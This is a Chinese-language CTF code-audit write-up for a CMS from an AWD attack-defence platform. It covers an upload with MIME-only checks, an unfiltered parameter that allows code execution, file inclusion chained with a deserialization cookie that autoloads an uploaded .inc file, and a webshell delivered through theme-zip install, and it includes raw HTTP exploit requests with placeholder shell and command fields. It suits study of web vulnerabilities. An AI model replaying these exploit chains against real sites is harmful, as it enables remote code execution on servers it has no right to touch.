代码审计-EasyCMS

cms来源AWD线下攻防平台题目。

 链接：https://pan.baidu.com/s/1eUkyRspQmsv-0fIBby8ZlQ 

提取码：tywa

失效可以联系我

 

0x01 文件上传漏洞

访问admin.php?action=images 可以上传图像，而这里过滤不严造成文件上传漏洞:

admin.php:

case 'images':
                $titelkop = $lang['images']['title'];
                include_once ('data/inc/header.php');
                include_once ('data/inc/images.php');
                break;

data/inc/images.php:

<?php
if (isset($_POST['submit'])) {
    //Check if the file is JPG, PNG or GIF.
    if (in_array($_FILES['imagefile']['type'], array('image/pjpeg', 'image/jpeg','image/png', 'image/gif'))) {
        if ($_FILES['imagefile']['error'] > 0)
            show_error($lang['general']['upload_failed'], 1);
        else {
            move_uploaded_file($_FILES['imagefile']['tmp_name'], 'images/'.$_FILES['imagefile']['name']);
            chmod('images/'.$_FILES['imagefile']['name'], 0666);
            ?>

0x02 RCE代码执行漏洞

访问admin.php?action=editpage可修改页面信息

admin.php:

//Page:Editpage
            case 'editpage':
                if (isset($_GET['page']))
                    $titelkop = $lang['page']['edit'];
                else
                    $titelkop = $lang['page']['new'];
                include_once ('data/inc/header.php');
                include_once ('data/inc/editpage.php');
                break;

data/inc/editpage.php:

if (isset($_GET['page'])) {
            $seoname = save_page($title, htmlspeicalchars($_POST['content']), $_POST['hidden'], $_POST['sub_page'], $_POST['description'], $_POST['keywords'], $module_additional_data, $_GET['page']);
        } else {

这里是htmlspeicalchars（）对写入文件内容的限制，post提交的hidden参数没有过滤。

0x03 inc文件包含漏洞

访问/index.php?action=save时可以上传文件，但是有后缀限制：

if (isset($_GET['file'])) 
{
    $file = $_GET['file'];
    include('data/inc/front/'.$_GET['file'].'.php');
}
else
{
    include('data/inc/front/index.php');
}

POST /index.php?file=save HTTP/1.1
Host: 192.168.1.130
Proxy-Connection: keep-alive
Content-Length: 299
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryB5a7zPuVlnrKI26N
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
------WebKitFormBoundaryB5a7zPuVlnrKI26N
Content-Disposition: form-data; name="para32"; filename="e.inc"
Content-Type: text/plain
{{shell}}
------WebKitFormBoundaryB5a7zPuVlnrKI26N
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryB5a7zPuVlnrKI26N--

这里保存的文件名为e.inc

这里要用到反序列化

POST /files/upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Cookie: filenames=O:1:"e":0:{}
User-Agent: python-requests/2.18.4
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: 192.168.1.138:23333
para32=sdOAQuVf.exe&submit=Upload&{{hash}}={{cmd}}POST /files/upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Cookie: filenames=O:1:"e":0:{}
User-Agent: python-requests/2.18.4
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: 192.168.1.138:23333



para32=sdOAQuVf.exe&submit=Upload&{{hash}}={{cmd}}

这里尝试加载e类没有，所以这里的spl_autoload_register函数spl_autoload_register函数自动加载inc文件

造成代码执行

 0x04 模块安装漏洞

admin.php?action=themeinstall 上传压缩文件后可得webshell 

//themeinstall.php
//Load the zipfile.
$zip=new UnZIP($dir.'/'.$filename);
//And extract it.
$zip->extract();
//After extraction: delete the zip-
file.
unlink($dir.'/'.$filename);